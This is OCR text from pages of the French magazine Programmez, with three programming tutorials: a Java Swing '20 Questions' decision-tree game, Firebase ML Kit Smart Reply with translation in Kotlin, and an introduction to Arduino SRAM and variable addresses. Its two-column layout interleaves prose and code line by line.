package com.ssaurel.twentyquestions; }
}
import java.io.BufferedReader; }

56 //programmez.com
JAVA
Une version simplifiée d’un fichier de données représentant un private void buildUI() {
arbre de décision pour faire deviner un animal pourrait avoir l’allu- // Construction de l'IHM
re suivante : JFrame frame = new JFrame("Jeu des 20 Questions pour Programmez!");
frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
Q:Est-il blanc ? Container contentPane = frame.getContentPane();
Q:Est-ce un mâle ?
Q:Est-il jaune ? // Ajout des boutons
Q:Est-il lié à la famille des chats ? JPanel buttonsPanel = new JPanel();
Q:Peut-il s'agir de tous les animaux ?
Q:Allez-vous cliquer sur oui pour la dernière question ? yesButton = new JButton("Oui");
Q:Allez-vous répondre "non" à cette question ? yesButton.addActionListener(btnsListener);
Q:Peut-il tout faire ? buttonsPanel.add(yesButton, BorderLayout.LINE_START);
A:Dieu
A:oui restartButton = new JButton("Démarrer");
A:oui restartButton.addActionListener(btnsListener);
A:rien buttonsPanel.add(restartButton, BorderLayout.LINE_START);
A:Tigre du Bengale
A:Lapin noButton = new JButton("Non");
… noButton.addActionListener(btnsListener);
buttonsPanel.add(noButton, BorderLayout.LINE_END);
Création de l’IHM avec Swing
Maintenant, il est temps de passer à la création de l'interface utili- contentPane.add(buttonsPanel, BorderLayout.PAGE_END);
sateur de notre implémentation du jeu des 20 Questions. Notre
IHM aura une zone de texte pour afficher les questions à l'utilisa- // Ajout de la zone de texte
teur et trois boutons : textPane = new JTextPane();
• 1 bouton Oui pour permettre à l'utilisateur de cliquer sur oui et textPane.setEditable(false);
de progresser dans notre arbre de décision ; updateText("Pensez à un animal, puis cliquez sur Démarrer");
• 1 bouton Démarrer pour démarrer une nouvelle partie ;
• 1 bouton Non pour permettre à l'utilisateur de cliquer sur non et // Customisation du rendu
de progresser dans notre arbre de décision. SimpleAttributeSet bSet = new SimpleAttributeSet();
Elle ressemblera à ceci : � StyleConstants.setAlignment(bSet, StyleConstants.ALIGN_CENTER);
Les données de notre arbre de décision étant centrées autour de la StyleConstants.setFontSize(bSet, 22);
recherche d’un animal, nous demandons à l’utilisateur de penser à StyledDocument doc = textPane.getStyledDocument();
un animal. Néanmoins, avec un arbre de décision contenant plus doc.setParagraphAttributes(0, doc.getLength(), bSet, false);
de données, il serait possible de laisser un choix bien plus large à
l’utilisateur au moment où il doit penser à quelque chose que nous contentPane.add(textPane, BorderLayout.CENTER);
devons deviner ensuite. Le principe de fonctionnement serait le
même et seule la taille de l’arbre de décision changerait. frame.setMinimumSize(new Dimension(500, 250));
Nous utilisons l'API Swing pour construire cette interface utilisateur.
La zone de texte est un objet JTextPane et nous utilisons une ins- // On centre la JFrame à l’écran
tance BorderLayout pour disposer l'objet dans le volet contenu du Dimension objDimension = Toolkit.getDefaultToolkit().getScreenSize();
JFrame. Les trois boutons sont représentés par la classe JButton. int coordX = (objDimension.width - frame.getWidth()) / 2;
Cela nous donne la méthode buildUI suivante : int coordY = (objDimension.height - frame.getHeight()) / 2;
frame.setLocation(coordX, coordY);

// Affichage de l’IHM

frame.pack();
frame.setVisible(true);
}

Interaction avec le joueur


A ce stade, nous avons écrit le code pour modéliser l’arbre de déci-
sion, nous avons des données mais également une IHM construite
en Swing. Maintenant, il nous reste à mettre en oeuvre l'interaction
avec le joueur durant le déroulement du jeu des 20 Questions.
Nous ajoutons une instance ActionListener aux trois boutons pour
cela. Nous définissons trois méthodes :
IHM de notre jeu des 20 Questions

programmez.com// 57
JAVA

• Une méthode yes pour gérer le comportement de notre jeu des @Override
20 Questions lorsque le joueur clique sur Oui pour une question ; public void actionPerformed(ActionEvent e) {
• Une méthode no pour gérer le comportement de notre Jeu des Object source = e.getSource();
20 Questions lorsque le joueur clique sur Non pour une ques-
tion ; if (source == yesButton)
• Une méthode start pour gérer le démarrage du jeu. yes();
Nos objets définis précédemment sont assemblés au sein d’une else if (source == noButton)
classe TwentyQuestions. Nous définissons une propriété no();
currentNode pour garder un pointeur de notre position dans l'arbre else if (source == restartButton)
de décision. Au début du jeu des 20 Questions, currentNode pointe restart();
donc vers la racine de l'arbre de décision. Cette étape est implé-
mentée dans la méthode start. }
Lorsque la méthode yes est appelée, nous savons que l'utilisateur a };
cliqué sur Oui pour la question ou la réponse affichée. Nous devons
donc suivre le chemin du Oui de notre noeud actuel. Si le nouveau public static void main(String[] args) {
nœud courant est une question, nous affichons les données qu'il TwentyQuestions twentyQuestions = new TwentyQuestions();
contient à l'écran. Sinon, nous affichons un message à l'utilisateur twentyQuestions.tree = new Tree();
pour lui demander s'il a pensé à la réponse présente dans le noeud twentyQuestions.tree.loadTree("/Users/ssaurel/eworkspace/TwentyQuestions/animals
courant. Si le nouveau noeud courant était nul, nous savons que _questions.txt");
nous avons trouvé la bonne réponse et nous pouvons afficher un
message du type "J’ai trouvé !" à l'utilisateur. SwingUtilities.invokeLater(new Runnable() {
La logique est la même pour la méthode no. La différence est que @Override
lorsque le noeud courant obtenu en suivant le chemin Non du public void run() {
noeud courant est nul, il faut afficher un message "J’ai perdu !" à twentyQuestions.buildUI();
l'utilisateur. }
Tout ceci nous donne le code complet suivant pour la classe });
TwentyQuestions : }

package com.ssaurel.twentyquestions; private void buildUI() {


JFrame frame = new JFrame("Jeu des 20 Questions pour Programmez!");
import java.awt.BorderLayout; frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
import java.awt.Container; Container contentPane = frame.getContentPane();
import java.awt.Dimension;
import java.awt.Toolkit; // add buttons
import java.awt.event.ActionEvent; JPanel buttonsPanel = new JPanel();
import java.awt.event.ActionListener;
yesButton = new JButton("Oui");
import javax.swing.JButton; yesButton.addActionListener(btnsListener);
import javax.swing.JFrame; buttonsPanel.add(yesButton, BorderLayout.LINE_START);
import javax.swing.JPanel;
import javax.swing.JTextPane; restartButton = new JButton("Démarrer");
import javax.swing.SwingUtilities; restartButton.addActionListener(btnsListener);
import javax.swing.text.SimpleAttributeSet; buttonsPanel.add(restartButton, BorderLayout.LINE_START);
import javax.swing.text.StyleConstants;
import javax.swing.text.StyledDocument; noButton = new JButton("Non");
noButton.addActionListener(btnsListener);
// Classe principale pour notre jeu des 20 Questions buttonsPanel.add(noButton, BorderLayout.LINE_END);
public class TwentyQuestions {
contentPane.add(buttonsPanel, BorderLayout.PAGE_END);
private Tree tree;
private TreeNode currentNode; textPane = new JTextPane();
private JButton yesButton, noButton, restartButton; textPane.setEditable(false);
private JTextPane textPane; updateText("Pensez à un animal, puis cliquez sur Démarrer");
private boolean started = false;
private ActionListener btnsListener = new ActionListener() { SimpleAttributeSet bSet = new SimpleAttributeSet();
StyleConstants.setAlignment(bSet, StyleConstants.ALIGN_CENTER);

58 //programmez.com
JAVA
StyleConstants.setFontSize(bSet, 22); started = true;
StyledDocument doc = textPane.getStyledDocument(); updateText("Pensez à un animal, puis cliquez sur Démarrer");
doc.setParagraphAttributes(0, doc.getLength(), bSet, false); currentNode = tree.root;
updateText(currentNode.data);
contentPane.add(textPane, BorderLayout.CENTER); }
}
frame.setMinimumSize(new Dimension(500, 250));
private void updateText(String txt) {
Dimension objDimension = Toolkit.getDefaultToolkit().getScreenSize(); textPane.setText("\n" + txt);
int coordX = (objDimension.width - frame.getWidth()) / 2; }
int coordY = (objDimension.height - frame.getHeight()) / 2; }
frame.setLocation(coordX, coordY);
Notre jeu des 20 Questions en action
frame.pack(); Il est temps de lancer notre jeu des 20 Questions et de vérifier si
frame.setVisible(true); l’ordinateur arrive bien à deviner l’animal auquel nous pensons à
} savoir une "Autruche". En répondant correctement par "Oui" ou par
"Non" aux différentes questions, nous obtenons l’affichage suivant :
private void yes() { �
// On suit la branche Oui dans notre arbre de décision Il ne nous reste plus alors qu’à cliquer sur oui pour terminer la par-
if (started && currentNode != null) { tie et reconnaître que l’ordinateur a su trouver l’animal auquel
currentNode = currentNode.yes; nous pensions.

if (currentNode != null) { Conclusion


if (currentNode.isQuestion()) { Le Jeu des 20 Questions que nous avons développé dans le cadre
updateText(currentNode.data); de cet article demeure un excellent moyen de découvrir comment
} else { mettre en oeuvre les arbres de décision. Bien que déjà parfaite-
updateText("Pensez-vous à " + currentNode.data + " ?"); ment fonctionnelle, notre implémentation pourrait être améliorée
} en tenant compte des réponses que l’ordinateur ne trouve pas afin
} else { de compléter les données de notre arbre de décision. Pour cela, il
updateText("J’ai trouvé !"); suffirait de faire un ajout dans l’arbre de décision d’un nouveau
} noeud en demandant à l’utilisateur l’animal non trouvé auquel il
} pensait. C’est ainsi que le célèbre jeu Akinator arrive finalement à
} trouver quasiment toutes les choses auxquelles les gens pensent.
En effet, au fur et à mesure des réponses des joueurs, les données
private void no() { de son arbre de décision sont complétées ce qui lui permet d’être
// On suit la branche Non dans notre arbre de décision de plus en plus précis dans ses réponses. Enfin, cet article vous
if (started && currentNode != null) { aura permis également de comprendre que ce qui fait la différence
currentNode = currentNode.no; dans ce type de jeu c’est bien la qualité des données de l’arbre de
décision qui est utilisé. Plus les données seront précises, plus les
if (currentNode != null) { réponses données par l’ordinateur seront pertinentes. •
if (currentNode.isQuestion()) {
updateText(currentNode.data);
} else {
updateText("Pensez-vous à " + currentNode.data + " ?");
}
} else {
updateText("J’ai perdu !");
}
}
}

private void restart() {


if (started) {
started = false;
� L'ordinateur a trouvé l'animal
updateText("Pensez à un animal, puis cliquez sur Démarrer");
} else {

programmez.com// 59
ML Mehdi Slimani
Expert mobile à Ineat.
Fondateur du meetup Flutter Lille.
@mslimanii

Générer des suggestions automatiques


avec Firebase Smart Reply
Il y a quelques mois, la plateforme incontournable du développement d’application mobile Firebase a sorti ML
Kit. Découvrons ensemble ce nouveau kit de machine learning. La promesse de Firebase ML Kit est simple :
faciliter l’intégration du Machine Learning dans vos applications mobiles quel que soit votre niveau de compé-
tence dans le domaine.

Aujourd’hui, ML Kit se décompose en 4 grandes parties : �


niveau • Vision permet de récupérer les données à partir d’une image

200 (texte, détection de visage, scan de code barre, détection d’objets


etc.).
• AutoML Vision Edge pour récupérer des données à partir d’un
modèle préalablement entrainé dans Cloud AutoML Vision.
• Natural Language pour identification du langage dans un texte, L’application Allo étant la première à l’avoir introduit avec Google Assistant
traduction et suggestion automatique.
• Custom Models pour les plus expérimentés ayant développé leurs
propres modèles avec Tensorflow. Place au code !
Les parties Vision, AutoML Vision Edge, Natural Language sont Note : les intégrations des APIs Smart Reply et Translation seront
prêtes à l’emploi et ne requièrent aucune compétence particulière. effectuées dans un projet Android développé dans le langage de
Pour les plus expérimentés, Custom Models permettra d’héberger programmation Kotlin en incluant le système de coroutine.
des modèles Tensorflow Lite et d’effectuer des mises à jour automa-
tiques. Dans cet article, nous traiterons uniquement des solutions Paramétrer son projet Android
dédiées au « Natural Language » mises à disposition par Firebase Créer un projet Android, ajouter les dépendances suivantes dans le
ML Kit afin de générer des suggestions automatiques dans une fichier build.gradle :
conversation.
// build.gradle
GÉNÉRER DES SUGGESTIONS dependencies {
AUTOMATIQUES // ...
Firebase Smart Reply implementation 'com.google.firebase:firebase-ml-natural-language:19.0.1'
Smart Reply permet de générer des réponses courtes dans le implementation 'com.google.firebase:firebase-ml-natural-language-smart-reply-model:19.0.1'
contexte d’une conversation. Ce concept a été apporté dans plu- }
sieurs applications développées par Google : �
Note : Smart Reply est encore en version Beta Release avec Pour faciliter les tests, vous allez instancier un ensemble de mes-
quelques limitations techniques. sages statiques dans votre application :
Actuellement, seul l’anglais est pris en charge par la solution. La
langue des messages envoyés est automatiquement détectée, l’API val MESSAGES = mutableListOf(
ne fournira aucune suggestion si une autre langue est trouvée. Message(
isMe = true,
Est-il possible de traduire les messages text = "Quelle est la température du salon ?",
en anglais et de les transmettre à Smart createAt = System.currentTimeMillis() - TimeUnit.MINUTES.toMillis(4)
Reply ? ),
La réponse est oui ! Parmi l’ensemble des outils intégrés dans Natu- Message(
ral Language nous trouvons Firebase ML Kit Translation. Cette API isMe = false,
permet de traduire du texte dans 59 langues différentes. La langue text = "Il fait actuellement 18°c dans le salon",
de référence pour chaque traduction est l’anglais, ce qui permettra createAt = System.currentTimeMillis() - TimeUnit.MINUTES.toMillis(4)
de traduire très efficacement les messages du français vers l’an- ),
glais, et inversement de traduire les suggestions de l’anglais vers le Message(
français. isMe = true,

60 //programmez.com
ML

text = "La porte d'entrée est-elle fermée ?", [CancellationException].


createAt = System.currentTimeMillis() - TimeUnit.MINUTES.toMillis(4) */
), public suspend fun <T> Task<T>.await(): T {
Message( // fast path
isMe = false, if (isComplete) {
text = "La porte est actuellement fermée", val e = exception
createAt = System.currentTimeMillis() - TimeUnit.MINUTES.toMillis(4) return if (e == null) {
) if (isCanceled) {
) throw CancellationException("Task $this was cancelled normally.")
} else {
En l’état Smart Reply ne traitera pas les messages rédigés en Fran- @Suppress("UNCHECKED_CAST")
çais. Afin de les traduire vous allez utiliser une classe Firebase- result as T
Translator. Celle-ci permet de télécharger le modèle ML de }
traduction, et de traduire d’une langue source à une langue cible. } else {
Voici comment créer une classe FirebaseTranslator en quelques throw e
lignes : }
}
/**
* Créer un FirebaseTranslator return suspendCancellableCoroutine { cont ->
* @param sourceLanguage langue dans laquelle votre message sera écrit addOnCompleteListener {
* @param targetLanguage langue dans laquelle votre message sera traduit val e = exception
* @return Deferred<FirebaseTranslator> car la fonction peut prendre if (e == null) {
du temps dans lecas où elle a besoin de télécharger le modèle ML. @Suppress("UNCHECKED_CAST")
*/ if (isCanceled) cont.cancel() else cont.resume(result as T)
private suspend fun createTranslator(sourceLanguage: Int, targetLanguage: Int): Firebase } else {
Translator = cont.resumeWithException(e)
withContext(Dispatchers.IO) { }
val options = FirebaseTranslatorOptions.Builder() }
.setSourceLanguage(sourceLanguage) addOnFailureListener {
.setTargetLanguage(targetLanguage) throw it
.build() }
}
FirebaseNaturalLanguage.getInstance() }
.getTranslator(options)
.apply { L’utilisation des coroutines permettra de simplifier la syntaxe et d’ap-
downloadModelIfNeeded().await() peler certaines méthodes sur des threads spécifiques très facile-
} ment. Puis créer deux FirebaseTranslator :
}
val frenchEnglishTranslator = createTranslator(
FirebaseTranslator utilise un modèle ML pour traduire les phrases. sourceLanguage = FirebaseTranslateLanguage.FR,
Avant de retourner l’objet la fonction createTranslator applique un targetLanguage = FirebaseTranslateLanguage.EN
appel à la méthode downloadModelIfNeeded(). Constatez que )
cette méthode est suivie d’une fonction await(). Par défaut Firebase
retourne des classes Task qui notifient les résultats uniquement par val englishFrenchTranslator = createTranslator(
callback. En utilisant des librairies comme https://github.com/lucasvalen- sourceLanguage = FirebaseTranslateLanguage.EN,
teds/firebase-android-coroutines , il sera possible par des extensions kotlin targetLanguage = FirebaseTranslateLanguage.FR
de fournir des fonctions suspendues sur les classes de type Task )
comme ceci :
L’instance frenchEnglishTranslator sera utilisée pour traduire les
/** messages d’une conversation en français vers l’anglais tandis que
* Awaits for completion of the task without blocking a thread. l’instance englishFrenchTranslator sera utilisée pour traduire les
* suggestions automatiques de l’anglais vers le français.
* This suspending function is cancellable. Chaque message devra être traduit puis transformé en message
* If the [Job] of the current coroutine is cancelled or completed while compréhensible par SmartReply. Pour cela vous allez utiliser la clas-
this suspending function is waiting, this function se FirebaseTextMessage :
* stops waiting for the completion stage and immediately resumes with

programmez.com// 61
ML
val conversations = MESSAGES.map {
val messageTranslated = frenchEnglishTranslator.translate(it.text).await()
when(it.isMe) {
true -> FirebaseTextMessage.createForLocalUser(messageTranslated, it.createAt)
false -> FirebaseTextMessage.createForRemoteUser(messageTranslated, it.createAt, "1")
}
}

FirebaseTextMessage permet de différencier qui est l’émetteur du


message grâce à deux méthodes factories createForLocalUser et crea-
teForRemoteUser.
En appelant la méthode suggestReplies de SmartReply, vous obtien-
drez un ensemble de suggestions dans un tableau contenant des
objets SmartReplySuggestionsResult. Ces derniers contiennent le
message de la suggestion en anglais ainsi que la pertinence calcu-
lée par l’algorithme. Libre à chacun de traiter ces résultats comme
bon lui semble : à vous de fixer votre seuil de confiance. Dans
l’exemple ci-dessous les résultats sont filtrés quand la pertinence est
supérieure à 0 puis triés par ordre de pertinence.

val smartReply = FirebaseNaturalLanguage.getInstance().smartReply �


val result = smartReply.suggestReplies(conversations).await()
return when(result.status) { import com.google.firebase.ml.naturallanguage.translate.FirebaseTranslator
SmartReplySuggestionResult.STATUS_SUCCESS -> result import com.google.firebase.ml.naturallanguage.translate.FirebaseTranslatorOptions
.suggestions import kotlinx.android.synthetic.main.activity_main.*
.filter { it.confidence > 0 } import kotlinx.coroutines.*
.sortedByDescending { it.confidence }
.map { translateEnglishToFrench(it.text) } class MainActivity : AppCompatActivity(), CoroutineScope by MainScope() {
SmartReplySuggestionResult.STATUS_NOT_SUPPORTED_LANGUAGE -> {
// Display exception /**
emptyList() * Créer un FirebaseTranslator
} * @param sourceLanguage langue dans laquelle votre message sera écrit
else -> { * @param targetLanguage langue dans laquelle votre message sera traduit
// No replies * @return Deferred<FirebaseTranslator> car la fonction peut prendre du temps dans le
emptyList() cas où elle a besoin de télécharger le modèle ML.
} */
} private suspend fun createTranslator(sourceLanguage: Int, targetLanguage: Int): Firebase
Translator =
Les résultats sont ensuite traduits de l’anglais vers le français afin de withContext(Dispatchers.IO) {
les afficher sur l’interface utilisateur. val options = FirebaseTranslatorOptions.Builder()
Voici un petit récapitulatif de ce qu’il a été mis en place : � .setSourceLanguage(sourceLanguage)
Et c’est ainsi que vous venez d’intégrer un moteur de suggestions .setTargetLanguage(targetLanguage)
dans votre application ! .build()

Récapitulatif de l’ensemble du code


FirebaseNaturalLanguage.getInstance().getTranslator(options).apply {
package com.ineat.firebase.natural.language downloadModelIfNeeded().await()
}
import android.os.Bundle }
import android.util.Log
import androidx.annotation.UiThread override fun onCreate(savedInstanceState: Bundle?) {
import androidx.appcompat.app.AppCompatActivity super.onCreate(savedInstanceState)
import com.google.android.material.chip.Chip setContentView(R.layout.activity_main)
import com.google.firebase.ml.naturallanguage.FirebaseNaturalLanguage
import com.google.firebase.ml.naturallanguage.smartreply.FirebaseTextMessage
import com.google.firebase.ml.naturallanguage.smartreply.SmartReplySuggestionResult recycler.adapter = MessageRecyclerAdapter(MESSAGES)
import com.google.firebase.ml.naturallanguage.translate.FirebaseTranslateLanguage recycler.addItemDecoration(MarginItemDecoration(23.dp))

62 //programmez.com
ML
messageTranslated,
// Démarrer it.createAt
launch(context = Dispatchers.IO) { )
val frenchEnglishTranslator = createTranslator( false -> FirebaseTextMessage.createForRemoteUser(
sourceLanguage = FirebaseTranslateLanguage.FR, messageTranslated,
targetLanguage = FirebaseTranslateLanguage.EN it.createAt,
) "1"
val englishFrenchTranslator = createTranslator( )
sourceLanguage = FirebaseTranslateLanguage.EN, }
targetLanguage = FirebaseTranslateLanguage.FR }
)
val smartReplies = getSmartReplies(frenchEnglishTranslator, englishFrenchTranslator) val smartReply = FirebaseNaturalLanguage.getInstance().smartReply
withContext(Dispatchers.Main) { val result = smartReply.suggestReplies(conversations).await()
displaySmartReplies(smartReplies) return when (result.status) {
} SmartReplySuggestionResult.STATUS_SUCCESS -> result
} .suggestions
} .filter { it.confidence >= 0 }
.sortedByDescending {
@UiThread Log.d("sortedByDescending", it.text + " " + it.confidence)
private fun displaySmartReplies(smartReplies: List<String>) { it.confidence
chips.removeAllViews() }
smartReplies .map { translateEnglishToFrench(it.text) }
.map { msg -> SmartReplySuggestionResult.STATUS_NOT_SUPPORTED_LANGUAGE -> {
Chip(this@MainActivity).apply { // Display exception
text = msg emptyList()
setOnClickListener { }
chips.removeAllViews() else -> {
MESSAGES.add( // No replies
Message( emptyList()
isMe = true, }
text = msg, }
createAt = System.currentTimeMillis() }
)
) }
recycler.adapter?.notifyDataSetChanged() Source du projet
} Les sources du projet sont disponibles sur Github :
} https://github.com/ineat/firebase-smart-reply-android
}
.forEach(chips::addView) Conclusion
} Firebase Smart Reply est très efficace pour générer des suggestions
automatiques pour vos messageries instantanées. Les suggestions
pourront être intégrées dans des notifications, des raccourcis dans
private suspend fun getSmartReplies( l’écran, etc.
frenchEnglishTranslator: FirebaseTranslator, Encore en version bêta, le Français n’est pas encore officiellement
englishFrenchTranslator: FirebaseTranslator supporté, les messages traduits produisent des suggestions correctes
): List<String> { mais celles-ci pourraient être plus pertinentes dans le futur. Nous
avons hâte de tester cette fonctionnalité dans sa future release. •
suspend fun translateFrenchToEnglish(msg: String) = frenchEnglishTranslator
.translate(msg).await() Liens utiles
suspend fun translateEnglishToFrench(msg: String) = englishFrenchTranslator Firebase ML Kit : https://firebase.google.com/docs/ml-kit
.translate(msg).await() Cloud AutoML Vision : https://cloud.google.com/vision/automl/docs/
Tensorflow : https://www.tensorflow.org/
val conversations = MESSAGES.map { Tensorflow Lite : https://www.tensorflow.org/lite
val messageTranslated = translateFrenchToEnglish(it.text) Firebase Smart Reply : https://firebase.google.com/docs/ml-kit/android/genera-
when (it.isMe) { te-smart-replies
true -> FirebaseTextMessage.createForLocalUser( Kotlin coroutine : https://blog.ineat-conseil.fr/2018/05/kotlin-les-coroutines/

programmez.com// 63
ARDUINO
Renaud Pinon
Développeur
Créateur de Tiny Code Studio

Arduino : on fait joujou avec la SRAM


Je vous propose aujourd'hui de plonger dans les tréfonds de la mémoire d'une carte Arduino. J'expliquerai donc quels sont les
différents types de mémoires, de quelles façons elles sont architecturées et comment obtenir, via la connexion série USB, une
partie du contenu de la SRAM. Nous verrons ensuite dans un prochain article comment utiliser ces informations pour nous
fabriquer un mini debugger.
tées en ce qui concerne les puces Atmel. J'espère ainsi pouvoir par-

C
'est l'instant publicité ;) Le sujet de cet article s'est imposé à
niveau moi suite au développement de mon application Tiny Code tager quelques informations intéressantes qui, même si elles ne

200 Studio, un IDE permettant de programmer les cartes


Arduino (https://www.tinycodestudio.com). Il est pour le moment dispo-
nible en version beta pour Mac et la version Windows est en cours
vous serviront pas tous les jours, vous permettront de mieux com-
prendre le fonctionnement de ces petites cartes. ;)

de développement. Détails techniques


Je souhaitais une application qui puisse déboguer les programmes Une carte Arduino est en réalité très simple : il s'agit principalement
Arduino sans avoir à utiliser de boîtier matériel. D'une part car la d'une puce (un microcontrôleur ou MCU) de type Atmel dont les
plupart d'entre eux se révèlent assez coûteux, mais aussi car la ma- entrées et sorties sont reliées à des connecteurs (les fameuses en-
jorité d'entre eux sont très pénibles à configurer dans un trées/sorties).
environnement de développement. L'application devait avoir la Le microcontrôleur est subdivisé en un microprocesseur (l'unité qui
possibilité d'afficher le contenu des variables et donc d'obtenir leur va exécuter les instructions du programme), la mémoire Flash (qui
valeur à partir de leur adresse, quel que soit leur type (variable stan- contient les instructions du programme) et la SRAM (mémoire vola-
dard de type int par exemple ou pointeur vers un objet ou une tile réinitialisée à chaque démarrage). Reste la mémoire EEPROM
structure). Il fallait également qu'elle puisse obtenir le numéro de que nous n'aborderons pas ici (mémoire non volatile qui peut être
l'instruction en cours ainsi que celui de l'instruction de retour des modifiée directement par le programme, par exemple pour stocker
fonctions. des paramètres après extinction).
Toutefois, cette quête ne s'est pas faite sans douleur tant la docu-
mentation sur des notions telles que le Program Counter ou les Voici le détail :
Stack Frames, que l'on verra dans un prochain article, sont très limi- • Microprocesseur : architecture AVR 8bits de type RISC. Même
s'ils sont 8bits, ces microprocesseurs peuvent parfaitement effec-
tuer des opérations sur 2 ou 4 octets. Pour compiler le
programme en AVR, on peut utiliser la suite GCC et ses exécu-
tables de type "avr" (avr-gcc, avr-asm, avr-objdump, …). Ce sont
d'ailleurs les exécutables qu'utilise Arduino IDE pour compiler.
• Mémoire Flash : on pourrait la comparer à un CD-ROM pour un
ordinateur. C'est une mémoire non modifiable qui contient le pro-
gramme que vous avez envoyé à la carte (un fichier .hex ou .elf).
Elle comprend également certaines données telles que les va-
riables définies avec l'attribut PROGMEM.
• Mémoire SRAM (Static Random Access Memory) : l'équivalent de
la RAM d'un ordinateur. C'est une mémoire réinitialisée à chaque
démarrage de la carte. Elle contient toutes les données que le
programme utilise au cours de son exécution : variables globales,
locales, données de registres "poussées" sur la pile (instruction
"PUSH" en Assembler), paramètres passés aux fonctions, … Autre
fait un peu moins connu : sur les puces Atmel, les valeurs cou-
rantes des registres du microprocesseur sont directement
accessibles à partir de l'adresse 0x0000 de la SRAM ! Les proces-
seurs Atmel ayant tous en commun au moins 32 registres 8 bits
(R0 à R31), vous saurez que vous pouvez obtenir la valeur de
chacun d'entre eux en lisant la valeur allant de 0x0000 à 0x001F.
Et à la suite se trouvent les registres d'entrées/sorties dont le
nombre est variable suivant le modèle de puce.

64 //programmez.com
ARDUINO

Un point sur la notation mémoire



UNO MEGA Nano Pro Mini
La notation mémoire que j'utiliserai dans cet article est évi-
demment l'hexadécimal (base 16 de 0 à F). Grâce à elle on
peut représenter plusieurs octets, par exemple la valeur
0x2F9A qui est une valeur sur 2 octets. Attention : si on récu-
père l'octet 0x2F suivi de l'octet 0x9A, alors pris ensemble ils Flash 32ko 256 ko 32 ko 32 ko
ne donnent pas la valeur 0x2F9A mais 0x9A2F (=39471 en (BL =
décimal), le premier octet en mémoire étant celui de poids (BL = 512 o) (BL = 8 ko) (BL = 2ko) (BL = 2 ko)
BootLoader)
faible.
SRAM 2 ko 8 ko 2 ko 2 ko
EEPROM 1 ko 4 ko 1 ko 1 ko
La mémoire Flash est très limitée : tous les modèles actuellement
en vente embarquent au moins 32 ko, et jusqu'à 256 ko pour Entrées/Sorties
l'Arduino Mega. Une instruction Assembleur nécessitant de 2 à 4 (D = digital, 14D + 6A 54D + 16A 14D + 8A 14D + 8A
octets, il faudra être concis. Il faut de plus retrancher l'espace utilisé A = analog)
par le bootloader, un morceau de code nécessaire pour l'envoi du
programme via l'USB sans avoir à utiliser de boîtier matériel exter- �
ne. La taille du bootloader change suivant le modèle de carte.
La SRAM, quant à elle, est encore plus limitée : de 1 à 8 ko suivant
les modèles. Oui, vous avez bien lu : 1ko, c'est à peine l'espace
pour stocker 512 variables de type int. Il faudra donc bien dimen-
sionner le type de carte suivant le projet que l'on veut réaliser !
Nous verrons aujourd'hui particulièrement la SRAM, la mémoire
Flash étant davantage étudiée dans le prochain article.
Ci-dessous un descriptif de quelques modèles de cartes : �

Fonctionnement de la SRAM
La SRAM est décomposée en plusieurs sections : l'une est de taille
fixe (les registres), les autres de tailles variables. Voici la représen- Obtenir l'adresse d'une variable
tation schématique d'une SRAM : � Les adresses mémoires sont codées sur 2 octets. Pour obtenir
• Registres : valeurs des différents registres du processeur : R0 à l'adresse mémoire d'une variable on utilise l'opérateur de référence-
R31 qui ont une taille fixe ainsi que les registres E/S, qui sont de ment "&" et on caste le tout en int ou uint16_t (les SRAM internes
taille variable suivant le modèle de carte. Pour vulgariser, ces der- ne dépassent jamais 8 ko donc ça tient sur 2 octets). On teste :
niers correspondent à l'état des différentes broches de votre
Arduino (même si la lecture n'est pas aussi simple que ça puisque void setup()
l'état d'une seule broche dépend de plusieurs registres à la fois). {
• .Data : contient les variables globales initialisées + les variables Serial.begin(9600);
locales "static" initialisées. }
• .Bss : contient les variables globales non initialisées + variables
locales "static" non initialisées. void loop()
• Tas (Heap) : blocs de données alloués par malloc() ou l'opérateur {
new. Les nouvelles allocations ont lieu de manière croissante (la int x = 0, y = 0, z = 0;
valeur de l'adresse augmente petit à petit). Contrairement aux
variables classiques, les variables déclarées par malloc() ou new uint16_t varAddress1 = (uint16_t)&x;
doivent obligatoirement être libérées, respectivement par free() et uint16_t varAddress2 = (uint16_t)&y;
delete, sous peine de perdurer en mémoire même si la fonction uint16_t varAddress3 = (uint16_t)&z;
dans laquelle elles ont été déclarées est terminée.
• Pile (Stack) : contient les variables locales qui ne sont pas Serial.println("Addr1: Ox" + String(varAddress1, HEX));
allouées par malloc() ou new. Il s'agit des variables dites "clas- Serial.println("Addr2: Ox" + String(varAddress2, HEX));
siques" (int, float, structures, …). Elles sont automatiquement Serial.println("Addr3: Ox" + String(varAddress3, HEX));
créées à l'entrée d'une fonction et sont automatiquement suppri-
mées de la mémoire lors de la sortie de cette fonction. A savoir // Valeur fin de RAM:
que les variables de la pile sont déclarées dans le sens inverse du Serial.println("RAMEND: Ox" + String(RAMEND, HEX));
tas : la section débute à l'adresse RAMEND et décroit petit à
petit. Si jamais le tas ou la pile grandit de façon trop importante, delay(10000);
vous risquez la collision ! }

programmez.com// 65
ARDUINO

Nous initialisons 3 variables dans la fonction loop(). Le type int On obtient le résultat:
étant un type "classique", les variables devraient se retrouver dans
Addr1: Ox4e3
la pile et donc avoir des adresses décroissantes. Sur un Arduino
Addr2: Ox4ef
Mega, j'obtiens le résultat suivant :
Si on regarde la documentation de l'Arduino Mega, les registres se
Addr1: Ox21ec
terminent à l'octet 0x200 (512 en décimal) de la SRAM. Se trou-
Addr2: Ox21ea
vent ensuite les sections .data et .bss, puis le tas. On peut donc sup-
Addr3: Ox21e8
poser que 0x04E3 se trouve bien au début du tas. Mais surprise !
RAMEND: Ox21ff
0x4EF moins 0x4E3 donne 0x0C, soit 12 en décimal et non pas 10.
On a bien des adresses décroissantes et espacées de 2 octets, ce C'est en réalité parce qu'un bloc mémoire alloué dans le tas est tou-
qui est la taille du type int. jours précédé de 2 octets décrivant sa longueur. Cela veut dire que
Pour obtenir la taille d'une variable en mémoire, on utilise la fonc- si on veut connaître la taille d'un bloc inconnu, il suffit de lire la
tion sizeof(). Par exemple, et ce, quelle que soit la machine, valeur à pointeur - 2. Nice ! �
sizeof(uint16_t) donnera toujours "2", sizeof(uint32_t) donnera tou-
jours "4". int ou long sont par contre dépendants de la machine sur Obtenir les données d'une variable
laquelle s'exécute le code (2 et 4 octets pour les Arduino). Pour obtenir la valeur d'une variable, nous allons regarder l'adresse
On peut passer en argument de sizeof() soit le nom d'un type, soit de cette dernière, puis convertir les octets à cette position en hexa-
le nom d'une variable, ce qui rend la fonction particulièrement ver- décimal. Comme les types de variables peuvent avoir une longueur
